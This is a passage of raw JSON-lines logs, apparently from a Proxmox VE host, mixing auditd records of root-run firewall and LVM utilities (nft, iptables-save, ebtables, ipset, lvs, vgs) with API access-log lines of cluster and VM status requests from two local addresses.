items=2 ppid=1119 pid=58353 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965887617,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:26 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781965155170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.170:64403): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d770 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61877 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465245,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.245:65723): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964384145,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964384.145:60779): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58352 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965887617,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965155162,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.162:64402): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f0f40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61876 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465243,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.243:65722): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964379137,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964379.137:60776): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58351 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885808,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781965155156,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.156:64401): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8724c30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61875 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465239,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.239:65721): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964379130,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964379.130:60773): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58350 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885808,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:24 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781965155148,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.148:64400): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61874 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465237,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.237:65720): argc=1 a0=\"date\""} {"@timestamp":1781964375332,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.332:60770): arch=c000003e syscall=59 success=yes exit=0 a0=60f18861ae90 a1=60f188617c10 a2=60f1885f9680 a3=5 items=2 ppid=58343 pid=58349 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885808,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:24 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781965155141,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.141:64399): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc134ef0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61873 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465233,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.233:65718): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964375329,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.329:60769): arch=c000003e syscall=59 success=yes exit=0 a0=60f18446cac8 a1=7ffd2d196660 a2=60f1885f9680 a3=60f18445024e items=2 ppid=58343 pid=58345 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965884611,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965155135,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.135:64398): arch=c000003e syscall=59 success=yes exit=0 a0=5556e081de90 a1=5556e081ac10 a2=5556e07fc680 a3=5 items=2 ppid=61866 pid=61872 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465227,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.227:65717): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964375328,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.328:60768): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd2d196620 a1=60f188600310 a2=60f1885f9680 a3=5 items=2 ppid=58343 pid=58344 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965884611,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:23 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965155132,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.132:64397): arch=c000003e syscall=59 success=yes exit=0 a0=5556b5cbeac8 a1=7ffc24759650 a2=5556e07fc680 a3=5556b5ca224e items=2 ppid=61866 pid=61868 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465219,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.219:65716): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964375324,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.324:60766): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58343 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965884611,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781965155131,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.131:64396): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc24759610 a1=5556e0803310 a2=5556e07fc680 a3=5 items=2 ppid=61866 pid=61867 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465215,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.215:65715): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964375318,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.318:60765): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58342 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965882972,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:22 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 897"} {"@timestamp":1781965155127,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.127:64394): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61866 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465207,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.207:65714): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964375312,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.312:60764): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58341 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965882972,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965155120,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.120:64393): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61865 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465199,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.199:65713): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964375306,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.306:60763): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58340 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965881781,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1114"} {"@timestamp":1781965155113,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.113:64392): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61864 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965464706,"@rawstring":"node=pve type=EXECVE msg=audit(1781965464.706:65712): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964375299,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.299:60762): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58339 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965881781,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:20 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781965155106,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.106:64391): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adbca0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61863 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965464680,"@rawstring":"node=pve type=EXECVE msg=audit(1781965464.680:65711): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964375296,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.296:60761): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=62ffcb051740 items=0 ppid=1156 pid=58338 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965880762,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:20 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781965155098,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.098:64390): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139c50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61862 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965463095,"@rawstring":"node=pve type=EXECVE msg=audit(1781965463.095:65710): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964375294,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.294:60760): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e4170 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58338 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965880762,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781965155090,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.090:64389): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b698a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61861 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965463081,"@rawstring":"node=pve type=EXECVE msg=audit(1781965463.081:65707): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964375290,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.290:60759): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc148b00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58337 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965880762,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:19 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965154081,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965154.081:64388): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e0610 a1=64f8d73c6d80 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61858 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965458073,"@rawstring":"node=pve type=EXECVE msg=audit(1781965458.073:65704): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964375284,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.284:60758): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13a2e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58336 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965879776,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:18 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965154056,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965154.056:64387): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b3810 a1=64f8d740a160 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61857 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965458062,"@rawstring":"node=pve type=EXECVE msg=audit(1781965458.062:65701): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964375279,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.279:60757): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc135ef0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58335 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965879776,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:18 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 926"} {"@timestamp":1781965151989,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965151.989:64386): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899553f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61856 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455190,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.190:65698): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964375274,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.274:60756): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed870 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58334 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965878786,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1114"} {"@timestamp":1781965151979,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965151.979:64383): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955330 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61855 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455184,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.184:65697): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964375269,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.269:60755): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b3adb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58333 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965877761,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:17 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 520"} {"@timestamp":1781965146967,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.967:64380): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955270 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61854 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455184,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.184:65696): argc=1 a0=\"date\""} {"@timestamp":1781964375262,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.262:60754): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58332 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965877761,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:16 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 904"} {"@timestamp":1781965146957,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.957:64377): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899551b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61853 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455178,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.178:65694): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964375256,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.256:60753): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58331 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965876755,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965146079,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.079:64374): arch=c000003e syscall=59 success=yes exit=0 a0=61cec1c2b0e0 a1=61cec1c27e60 a2=61cec1c09680 a3=5 items=2 ppid=61846 pid=61852 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455171,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.171:65693): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964375252,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.252:60752): arch=c000003e syscall=59 success=yes exit=0 a0=56c9c3fb2e90 a1=56c9c3fafc10 a2=56c9c3f91680 a3=5 items=2 ppid=58324 pid=58330 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965876755,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781965146073,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.073:64373): arch=c000003e syscall=59 success=yes exit=0 a0=61ceb0852ac8 a1=7ffe4f982a00 a2=61cec1c09680 a3=61ceb083624e items=2 ppid=61846 pid=61848 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455163,"@rawstring":"node=pve type=EXECVE msg=audit(1781965455.163:65692): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964375249,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.249:60751): arch=c000003e syscall=59 